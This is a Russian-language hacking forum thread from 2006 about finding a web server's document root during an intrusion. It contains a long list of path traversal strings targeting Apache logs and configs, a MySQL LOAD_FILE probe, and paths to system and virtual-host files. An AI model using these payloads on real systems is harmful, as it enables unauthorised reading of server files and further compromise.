путь к Document_root

Discussion in 'Уязвимости' started by Ded.MCz, 23 Dec 2006.

  1. Ded.MCz

    Ded.MCz Member

    Joined:
    16 Jan 2006
    Messages:
    18
    Likes Received:
    19
    Reputations:
    36
    delete.
     
    #1 Ded.MCz, 23 Dec 2006
    Last edited: 18 Nov 2012
    1 person likes this.
  2. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    Гуглить на тему

    ERROR site:microsoft.com
    MYSQL site:microsoft.com

    пробовал ?)

    если есть доступ к конфигу, значит есть и локал инклуд? если да.. то логи, vhosts если есть или конфы различных панелек
    Code:
    ../../../../../../../../../../../../var/log/httpd/access_log
    ../../../../../../../../../../../../var/log/httpd/error_log
    ../../../apache/logs/error.log
    ../../../apache/logs/access.log
    ../../../../apache/logs/error.log
    ../../../../apache/logs/access.log
    ../../../../../apache/logs/error.log
    ../../../../../apache/logs/access.log
    ../../../../../../apache/logs/error.log
    ../../../../../../apache/logs/access.log
    ../../../../../../../apache/logs/error.log
    ../../../../../../../apache/logs/access.log
    ../../../../../../../../apache/logs/error.log
    ../../../../../../../../apache/logs/access.log
    ../../../logs/error.log
    ../../../logs/access.log
    ../../../../logs/error.log
    ../../../../logs/access.log
    ../../../../../logs/error.log
    ../../../../../logs/access.log
    ../../../../../../logs/error.log
    ../../../../../../logs/access.log
    ../../../../../../../logs/error.log
    ../../../../../../../logs/access.log
    ../../../../../../../../logs/error.log
    ../../../../../../../../logs/access.log
    ../../../../../../../../../../../../etc/httpd/logs/acces_log
    ../../../../../../../../../../../../etc/httpd/logs/acces.log
    ../../../../../../../../../../../../etc/httpd/logs/error_log
    ../../../../../../../../../../../../etc/httpd/logs/error.log
    ../../../../../../../../../../../../var/www/logs/access_log
    ../../../../../../../../../../../../var/www/logs/access.log
    ../../../../../../../../../../../../usr/local/apache/logs/access_log
    ../../../../../../../../../../../../usr/local/apache/logs/access.log
    ../../../../../../../../../../../../var/log/apache/access_log
    ../../../../../../../../../../../../var/log/apache/access.log
    ../../../../../../../../../../../../var/log/access_log
    ../../../../../../../../../../../../var/www/logs/error_log
    ../../../../../../../../../../../../var/www/logs/error.log
    ../../../../../../../../../../../../usr/local/apache/logs/error_log
    ../../../../../../../../../../../../usr/local/apache/logs/error.log
    ../../../../../../../../../../../../var/log/apache/error_log
    ../../../../../../../../../../../../var/log/apache/error.log
    ../../../../../../../../../../../../var/log/access_log
    ../../../../../../../../../../../../var/log/error_log
    
    и тд )
     
    #2 darky, 23 Dec 2006
    Last edited: 23 Dec 2006
  3. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Если вывод ошибок вообще выключен... то искать другие баги бесполезно... сойдет любой баг на раскрытие пути...потыркать на info.php php.php phpinfo.php и так далее посмотреть те сайты которые рядом найти багу на расурытие пути проанализировать применить в своем случаем искать конфиги... через лоад файл иногда работает листинг директорий.
    LOAD_FILE(0x2f)
     
  4. Ded.MCz

    Ded.MCz Member

    Joined:
    16 Jan 2006
    Messages:
    18
    Likes Received:
    19
    Reputations:
    36
    нах ты эту гунь пишешь? ))
    я про ../
    так написал бы и всё =\
     
  5. zl0ba

    zl0ba ПсихолоГ

    Joined:
    10 Oct 2006
    Messages:
    393
    Likes Received:
    301
    Reputations:
    52
    Кэш правильно сказал и вот тебе к нагрузке http://www.domainsdb.net/ юзай!
     
  6. Ded.MCz

    Ded.MCz Member

    Joined:
    16 Jan 2006
    Messages:
    18
    Likes Received:
    19
    Reputations:
    36
    delete.
     
    #6 Ded.MCz, 23 Dec 2006
    Last edited: 18 Nov 2012
  7. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,055
    Likes Received:
    376
    Reputations:
    460
    Да не как ты не узнаешь, если только осталось в кэше www.google.com путь при отладки скриптов, а так обломись!
     
  8. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    Lamarez как собирал так и дал )))
     
  9. Ded.MCz

    Ded.MCz Member

    Joined:
    16 Jan 2006
    Messages:
    18
    Likes Received:
    19
    Reputations:
    36
    хаха...
    никто и не заикнулся про:
    (вот как я добился истины)
    1) /etc/rc.d/rc
    2) /etc/rc.d/rc.local
    3) /etc/mathopd/mathopd.conf
    4) /var/run/httpd.pid
    5) /etc/apache/conf/virtual-monster.conf - тут хосты
    6) /etc/apache/conf/virtual.conf - и тут хосты

    эх вы...))
    как говорится "с миру по нитке..."
     
    1 person likes this.